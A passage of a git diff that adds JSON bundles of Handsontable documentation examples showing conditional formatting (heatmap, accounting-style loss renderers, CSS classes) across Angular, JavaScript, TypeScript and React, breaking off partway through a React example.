\"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\n@Component({\n selector: 'example3-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example3.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.js.json new file mode 100644 index 00000000..e15431d9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row, col) {\n const cellProperties = {};\n if (col > 0) {\n cellProperties.className = '';\n const value = data[row]?.[col];\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n }\n else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n return cellProperties;\n },\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.ts.json new file mode 100644 index 00000000..2a6ef6d5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (col > 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n },\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.js.json new file mode 100644 index 00000000..a53723c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n td.classList.remove('loss-cell');\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n return;\n }\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\nregisterRenderer('profitRenderer', profitRenderer);\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example2.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.ts.json new file mode 100644 index 00000000..5f2401de --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example2.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.js.json new file mode 100644 index 00000000..73b0b085 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n const amount = Number(value);\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\nregisterRenderer('heatmapRenderer', heatmapRenderer);\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example3.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.ts.json new file mode 100644 index 00000000..29a3f2b4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example3.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example1.tsx.json new file mode 100644 index 00000000..ec51df4a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
